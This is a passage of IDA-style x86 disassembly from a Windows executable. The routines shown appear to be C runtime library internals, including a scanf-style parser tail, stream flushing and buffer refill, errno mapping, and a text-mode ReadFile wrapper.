		mov	[ebp+var_24], ecx
		jmp	loc_42EF1A
; ---------------------------------------------------------------------------


loc_42EE56:				; CODE XREF: sub_42E5F5+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_42EF12


loc_42EE60:				; CODE XREF: sub_42E5F5+90Aj
		cmp	esi, 78h
		jz	short loc_42EEA4
		cmp	esi, 70h
		jz	short loc_42EEA4
		cmp	dword_4535C4, 1
		jle	short loc_42EE7F
		push	4
		push	ebx
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42EE8A
; ---------------------------------------------------------------------------


loc_42EE7F:				; CODE XREF: sub_42E5F5+87Cj
		mov	eax, off_4533B8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42EE8A:				; CODE XREF: sub_42E5F5+888j
		test	eax, eax
		jz	short loc_42EF04
		cmp	esi, 6Fh
		jnz	short loc_42EE9D
		cmp	ebx, 38h
		jge	short loc_42EF04
		shl	edi, 3
		jmp	short loc_42EEDC
; ---------------------------------------------------------------------------


loc_42EE9D:				; CODE XREF: sub_42E5F5+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_42EEDC
; ---------------------------------------------------------------------------


loc_42EEA4:				; CODE XREF: sub_42E5F5+86Ej
					; sub_42E5F5+873j
		cmp	dword_4535C4, 1
		jle	short loc_42EEBC
		push	80h
		push	ebx
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42EEC9
; ---------------------------------------------------------------------------


loc_42EEBC:				; CODE XREF: sub_42E5F5+8B6j
		mov	eax, off_4533B8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_42EEC9:				; CODE XREF: sub_42E5F5+8C5j
		test	eax, eax
		jz	short loc_42EF04
		push	ebx
		shl	edi, 4
		call	sub_42F01A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_42EEDC:				; CODE XREF: sub_42E5F5+8A6j
					; sub_42E5F5+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_42EEEE
		dec	[ebp+var_C]
		jz	short loc_42EF12


loc_42EEEE:				; CODE XREF: sub_42E5F5+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42F051
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42EE60
; ---------------------------------------------------------------------------


loc_42EF04:				; CODE XREF: sub_42E5F5+897j
					; sub_42E5F5+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_42F06B
		pop	ecx
		pop	ecx


loc_42EF12:				; CODE XREF: sub_42E5F5+865j
					; sub_42E5F5+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_42EF1A
		neg	edi


loc_42EF1A:				; CODE XREF: sub_42E5F5+843j
					; sub_42E5F5+85Cj ...
		cmp	esi, 46h
		jnz	short loc_42EF23
		and	[ebp+var_1C], 0


loc_42EF23:				; CODE XREF: sub_42E5F5+928j
		cmp	[ebp+var_1C], 0
		jz	loc_42EFFB
		cmp	[ebp+var_E], 0
		jnz	short loc_42EF5C
		inc	[ebp+var_34]


loc_42EF36:				; CODE XREF: sub_42E5F5+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_42EF4C
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_42EF5C
; ---------------------------------------------------------------------------


loc_42EF4C:				; CODE XREF: sub_42E5F5+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_42EF59
		mov	[eax], edi
		jmp	short loc_42EF5C
; ---------------------------------------------------------------------------


loc_42EF59:				; CODE XREF: sub_42E5F5+95Ej
		mov	[eax], di


loc_42EF5C:				; CODE XREF: sub_42E5F5+241j
					; sub_42E5F5+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_42EFA9
; ---------------------------------------------------------------------------


loc_42EF67:				; CODE XREF: sub_42E5F5+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42F051
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_42EFD6
		mov	ecx, off_4533B8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42EFA9
		inc	[ebp+var_4]
		push	edi
		call	sub_42F051
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42EFE4
		dec	[ebp+var_4]


loc_42EFA9:				; CODE XREF: sub_42E5F5+970j
					; sub_42E5F5+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42EFBF
		cmp	byte ptr [esi],	25h
		jnz	short loc_42F001
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_42F001
		mov	esi, eax


loc_42EFBF:				; CODE XREF: sub_42E5F5+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42E61F
		jmp	short loc_42EFFB
; ---------------------------------------------------------------------------


loc_42EFCB:				; CODE XREF: sub_42E5F5+1F4j
					; sub_42E5F5+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_42EFDB
; ---------------------------------------------------------------------------


loc_42EFD6:				; CODE XREF: sub_42E5F5+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_42EFDB:				; CODE XREF: sub_42E5F5+9DFj
		call	sub_42F06B
		pop	ecx
		pop	ecx
		jmp	short loc_42EFFB
; ---------------------------------------------------------------------------


loc_42EFE4:				; CODE XREF: sub_42E5F5+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_42F06B
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_42F06B
		add	esp, 10h


loc_42EFFB:				; CODE XREF: sub_42E5F5+1Fj
					; sub_42E5F5+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42F012


loc_42F001:				; CODE XREF: sub_42E5F5+9BDj
					; sub_42E5F5+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_42F015
		cmp	[ebp+var_15], al
		jnz	short loc_42F015
		or	eax, 0FFFFFFFFh
		jmp	short loc_42F015
; ---------------------------------------------------------------------------


loc_42F012:				; CODE XREF: sub_42E5F5+A0Aj
		mov	eax, [ebp+var_34]


loc_42F015:				; CODE XREF: sub_42E5F5+A11j
					; sub_42E5F5+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42E5F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F01A	proc near		; CODE XREF: sub_42E5F5+7A3p
					; sub_42E5F5+8DCp

arg_0		= dword	ptr  4

		cmp	dword_4535C4, 1
		push	esi
		jle	short loc_42F034
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42F043
; ---------------------------------------------------------------------------


loc_42F034:				; CODE XREF: sub_42F01A+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_4533B8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_42F043:				; CODE XREF: sub_42F01A+18j
		test	eax, eax
		jnz	short loc_42F04D
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_42F04D:				; CODE XREF: sub_42F01A+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_42F01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F051	proc near		; CODE XREF: sub_42E5F5+1E1p
					; sub_42E5F5+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42F063
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42F063:				; CODE XREF: sub_42F051+7j
		push	edx
		call	sub_42F3E2
		pop	ecx
		retn
sub_42F051	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F06B	proc near		; CODE XREF: sub_42E5F5+6Bp
					; sub_42E5F5+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42F081
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_43346F
		pop	ecx
		pop	ecx

locret_42F081:				; CODE XREF: sub_42F06B+5j
		retn
sub_42F06B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F082	proc near		; CODE XREF: sub_42E5F5+63p
					; sub_42E5F5+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_42F088:				; CODE XREF: sub_42F082+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42F051
		mov	edi, eax
		push	edi
		call	sub_42C54C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42F088
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42F082	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F0A6	proc near		; CODE XREF: sub_42A6C0+16p
					; sub_42AB81+67p ...

arg_0		= dword	ptr  4

		push	esi
		call	sub_42F122
		mov	ecx, [esp+4+arg_0]
		xor	esi, esi
		mov	[eax], ecx
		mov	eax, offset dword_453250


loc_42F0B9:				; CODE XREF: sub_42F0A6+20j
		cmp	ecx, [eax]
		jz	short loc_42F0DF
		add	eax, 8
		inc	esi
		cmp	eax, offset off_4533B8
		jl	short loc_42F0B9
		cmp	ecx, 13h
		jb	short loc_42F0EF
		cmp	ecx, 24h
		ja	short loc_42F0EF
		call	sub_42F119
		mov	dword ptr [eax], 0Dh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F0DF:				; CODE XREF: sub_42F0A6+15j
		call	sub_42F119
		mov	ecx, dword_453254[esi*8]
		pop	esi
		mov	[eax], ecx
		retn
; ---------------------------------------------------------------------------


loc_42F0EF:				; CODE XREF: sub_42F0A6+25j
					; sub_42F0A6+2Aj
		cmp	ecx, 0BCh
		jb	short loc_42F10C
		cmp	ecx, 0CAh
		ja	short loc_42F10C
		call	sub_42F119
		mov	dword ptr [eax], 8
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F10C:				; CODE XREF: sub_42F0A6+4Fj
					; sub_42F0A6+57j
		call	sub_42F119
		mov	dword ptr [eax], 16h
		pop	esi
		retn
sub_42F0A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F119	proc near		; CODE XREF: sub_429E59:loc_42A00Bp
					; sub_42A2C1+83p ...
		call	sub_42E4EE
		add	eax, 8
		retn
sub_42F119	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F122	proc near		; CODE XREF: sub_42A6C0+36p
					; sub_42F0A6+1p ...
		call	sub_42E4EE
		add	eax, 0Ch
		retn
sub_42F122	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F12B	proc near		; CODE XREF: sub_429E59+27p
					; sub_429E59+E4p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_42F149
		mov	ecx, off_4533B8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_42F19B
; ---------------------------------------------------------------------------


loc_42F149:				; CODE XREF: sub_42F12B+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_4533B8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_42F16E
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_42F177
; ---------------------------------------------------------------------------


loc_42F16E:				; CODE XREF: sub_42F12B+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_42F177:				; CODE XREF: sub_42F12B+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4334DD
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42F197
		leave
		retn
; ---------------------------------------------------------------------------


loc_42F197:				; CODE XREF: sub_42F12B+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_42F19B:				; CODE XREF: sub_42F12B+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_42F12B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F1A0	proc near		; CODE XREF: sub_418A3A+88p
					; sub_418AD3+216p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_676FE0
		jnb	short loc_42F1E5
		mov	ecx, esi
		mov	eax, esi
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_676EE0[ecx*4]
		lea	eax, [eax+eax*8]
		test	byte ptr [ecx+eax*4+4],	1
		jz	short loc_42F1E5
		push	edi
		push	esi
		call	sub_43241B
		push	esi
		call	sub_42F1FD
		push	esi
		mov	edi, eax
		call	sub_43247A
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F1E5:				; CODE XREF: sub_42F1A0+Bj
					; sub_42F1A0+26j
		call	sub_42F119
		mov	dword ptr [eax], 9
		call	sub_42F122
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_42F1A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F1FD	proc near		; CODE XREF: sub_42F1A0+30p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_4323D9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_42F24B
		cmp	esi, 1
		jz	short loc_42F219
		cmp	esi, 2
		jnz	short loc_42F22F


loc_42F219:				; CODE XREF: sub_42F1FD+15j
		push	2
		call	sub_4323D9
		push	1
		mov	edi, eax
		call	sub_4323D9
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_42F24B


loc_42F22F:				; CODE XREF: sub_42F1FD+1Aj
		push	esi
		call	sub_4323D9
		pop	ecx
		push	eax
		call	dword_437044	; CloseHandle
		test	eax, eax
		jnz	short loc_42F24B
		call	dword_437170	; RtlGetLastWin32Error
		mov	edi, eax
		jmp	short loc_42F24D
; ---------------------------------------------------------------------------


loc_42F24B:				; CODE XREF: sub_42F1FD+10j
					; sub_42F1FD+30j ...
		xor	edi, edi


loc_42F24D:				; CODE XREF: sub_42F1FD+4Cj
		push	esi
		call	sub_43235A
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		pop	ecx
		mov	eax, dword_676EE0[eax*4]
		lea	ecx, [esi+esi*8]
		and	byte ptr [eax+ecx*4+4],	0
		test	edi, edi
		jz	short loc_42F27B
		push	edi
		call	sub_42F0A6
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_42F27D
; ---------------------------------------------------------------------------


loc_42F27B:				; CODE XREF: sub_42F1FD+70j
		xor	eax, eax


loc_42F27D:				; CODE XREF: sub_42F1FD+7Cj
		pop	edi
		pop	esi
		retn
sub_42F1FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F280	proc near		; CODE XREF: sub_42A13C+18p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_42F2A9
		test	al, 8
		jz	short loc_42F2A9
		push	dword ptr [esi+8]
		call	sub_4298F2
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_42F2A9:				; CODE XREF: sub_42F280+Aj
					; sub_42F280+Ej
		pop	esi
		retn
sub_42F280	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F2AB	proc near		; CODE XREF: sub_42F33E+4Cp
					; sub_42F33E+67p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_42F2D9
		test	eax, eax
		pop	ecx
		jz	short loc_42F2C0
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F2C0:				; CODE XREF: sub_42F2AB+Ej
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_42F2D5
		push	dword ptr [esi+10h]
		call	sub_433626
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F2D5:				; CODE XREF: sub_42F2AB+19j
		xor	eax, eax
		pop	esi
		retn
sub_42F2AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F2D9	proc near		; CODE XREF: sub_42A13C+10p
					; sub_42A44E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_42F326
		test	ax, 108h
		jz	short loc_42F326
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42F326
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_43249C
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_42F31F
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_42F326
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_42F326
; ---------------------------------------------------------------------------


loc_42F31F:				; CODE XREF: sub_42F2D9+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_42F326:				; CODE XREF: sub_42F2D9+14j
					; sub_42F2D9+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42F2D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F335	proc near		; CODE XREF: sub_42C1C0p
		push	1
		call	sub_42F33E
		pop	ecx
		retn
sub_42F335	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F33E	proc near		; CODE XREF: sub_42F335+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		push	2
		xor	ebx, ebx
		xor	edi, edi
		call	sub_42DAEF
		xor	esi, esi
		pop	ecx
		cmp	dword_678020, esi
		jle	short loc_42F3CB


loc_42F357:				; CODE XREF: sub_42F33E+8Bj
		mov	eax, dword_67700C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_42F3C2
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_42F3C2
		push	eax
		push	esi
		call	sub_42C203
		mov	eax, dword_67700C
		pop	ecx
		pop	ecx
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_42F3B2
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_42F398
		push	eax
		call	sub_42F2AB
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_42F3B2
		inc	ebx
		jmp	short loc_42F3B2
; ---------------------------------------------------------------------------


loc_42F398:				; CODE XREF: sub_42F33E+49j
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_42F3B2
		test	cl, 2
		jz	short loc_42F3B2
		push	eax
		call	sub_42F2AB
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42F3B2
		or	edi, eax


loc_42F3B2:				; CODE XREF: sub_42F33E+42j
					; sub_42F33E+55j ...
		mov	eax, dword_67700C
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_42C255
		pop	ecx
		pop	ecx


loc_42F3C2:				; CODE XREF: sub_42F33E+23j
					; sub_42F33E+29j
		inc	esi
		cmp	esi, dword_678020
		jl	short loc_42F357


loc_42F3CB:				; CODE XREF: sub_42F33E+17j
		push	2
		call	sub_42DB50
		cmp	[esp+10h+arg_0], 1
		pop	ecx
		mov	eax, ebx
		jz	short loc_42F3DE
		mov	eax, edi


loc_42F3DE:				; CODE XREF: sub_42F33E+9Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42F33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F3E2	proc near		; CODE XREF: sub_42A1B7+A9p
					; sub_42B087+34p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_42F4B9
		test	al, 40h
		jnz	loc_42F4B9
		test	al, 2
		jz	short loc_42F408
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_42F4B9
; ---------------------------------------------------------------------------


loc_42F408:				; CODE XREF: sub_42F3E2+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_42F41C
		push	esi
		call	sub_4331F3
		pop	ecx
		jmp	short loc_42F421
; ---------------------------------------------------------------------------


loc_42F41C:				; CODE XREF: sub_42F3E2+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_42F421:				; CODE XREF: sub_42F3E2+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_42F4BE
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_42F4A8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42F4A8
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_42F47D
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_42F466
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_676EE0[edi*4]
		lea	ecx, [ecx+ecx*8]
		lea	edi, [edi+ecx*4]
		jmp	short loc_42F46B
; ---------------------------------------------------------------------------


loc_42F466:				; CODE XREF: sub_42F3E2+6Bj
		mov	edi, offset dword_4535D0


loc_42F46B:				; CODE XREF: sub_42F3E2+82j
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_42F47D
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_42F47D:				; CODE XREF: sub_42F3E2+62j
					; sub_42F3E2+93j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_42F49A
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_42F49A
		test	ch, 4
		jnz	short loc_42F49A
		mov	dword ptr [esi+18h], 1000h


loc_42F49A:				; CODE XREF: sub_42F3E2+A2j
					; sub_42F3E2+AAj ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F4A8:				; CODE XREF: sub_42F3E2+55j
					; sub_42F3E2+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_42F4B9:				; CODE XREF: sub_42F3E2+Aj
					; sub_42F3E2+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_42F3E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F4BE	proc near		; CODE XREF: sub_41EC9D+ECp
					; sub_42A1B7+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_676FE0
		jnb	short loc_42F50B
		mov	ecx, esi
		mov	eax, esi
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_676EE0[ecx*4]
		lea	eax, [eax+eax*8]
		test	byte ptr [ecx+eax*4+4],	1
		jz	short loc_42F50B
		push	edi
		push	esi
		call	sub_43241B
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	esi
		call	sub_42F523
		push	esi
		mov	edi, eax
		call	sub_43247A
		add	esp, 14h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F50B:				; CODE XREF: sub_42F4BE+Bj
					; sub_42F4BE+26j
		call	sub_42F119
		mov	dword ptr [eax], 9
		call	sub_42F122
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_42F4BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F523	proc near		; CODE XREF: sub_42F4BE+38p
					; sub_4336B9+274p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_8], 0
		cmp	[ebp+arg_8], 0
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edx, ebx
		jz	loc_42F6F5
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	esi, [eax+eax*8]
		mov	eax, dword_676EE0[ecx*4]
		lea	edi, ds:676EE0h[ecx*4]
		shl	esi, 2
		add	eax, esi
		mov	cl, [eax+4]
		test	cl, 2
		jnz	loc_42F6F5
		test	cl, 48h
		jz	short loc_42F58E
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_42F58E
		dec	[ebp+arg_8]
		mov	[ebx], al
		mov	eax, [edi]
		lea	edx, [ebx+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_42F58E:				; CODE XREF: sub_42F523+4Cj
					; sub_42F523+53j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [edi]
		push	[ebp+arg_8]
		push	edx
		push	dword ptr [eax+esi]
		call	dword_437084	; ReadFile
		test	eax, eax
		jnz	short loc_42F5E0
		call	dword_437170	; RtlGetLastWin32Error
		push	5
		pop	esi
		cmp	eax, esi
		jnz	short loc_42F5C8
		call	sub_42F119
		mov	dword ptr [eax], 9
		call	sub_42F122
		mov	[eax], esi
		jmp	short loc_42F5D8
; ---------------------------------------------------------------------------


loc_42F5C8:				; CODE XREF: sub_42F523+8Fj
		cmp	eax, 6Dh
		jz	loc_42F6F5
		push	eax
		call	sub_42F0A6
		pop	ecx


loc_42F5D8:				; CODE XREF: sub_42F523+A3j
		or	eax, 0FFFFFFFFh
		jmp	loc_42F6F7
; ---------------------------------------------------------------------------


loc_42F5E0:				; CODE XREF: sub_42F523+82j
		mov	eax, [edi]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_42F6F0
		test	edx, edx
		jz	short loc_42F605
		cmp	byte ptr [ebx],	0Ah
		jnz	short loc_42F605
		or	al, 4
		jmp	short loc_42F607
; ---------------------------------------------------------------------------


loc_42F605:				; CODE XREF: sub_42F523+D7j
					; sub_42F523+DCj
		and	al, 0FBh


loc_42F607:				; CODE XREF: sub_42F523+E0j
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_42F6EA


loc_42F61F:				; CODE XREF: sub_42F523+1AFj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_42F6DA
		cmp	al, 0Dh
		jz	short loc_42F63B
		mov	[ebx], al
		inc	ebx
		inc	[ebp+arg_8]
		jmp	loc_42F6CC
; ---------------------------------------------------------------------------


loc_42F63B:				; CODE XREF: sub_42F523+10Bj
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_42F659
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_42F650
		add	[ebp+arg_8], 2
		jmp	short loc_42F6AE
; ---------------------------------------------------------------------------


loc_42F650:				; CODE XREF: sub_42F523+125j
		mov	byte ptr [ebx],	0Dh
		inc	ebx
		mov	[ebp+arg_8], eax
		jmp	short loc_42F6CC
; ---------------------------------------------------------------------------


loc_42F659:				; CODE XREF: sub_42F523+11Cj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [edi]
		push	dword ptr [eax+esi]
		call	dword_437084	; ReadFile
		test	eax, eax
		jnz	short loc_42F681
		call	dword_437170	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_42F6C8


loc_42F681:				; CODE XREF: sub_42F523+152j
		cmp	[ebp+var_C], 0
		jz	short loc_42F6C8
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_42F6A3
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_42F6AE
		mov	byte ptr [ebx],	0Dh
		mov	ecx, [edi]
		inc	ebx
		mov	[ecx+esi+5], al
		jmp	short loc_42F6CC
; ---------------------------------------------------------------------------


loc_42F6A3:				; CODE XREF: sub_42F523+16Bj
		cmp	ebx, [ebp+arg_4]
		jnz	short loc_42F6B3
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_42F6B3


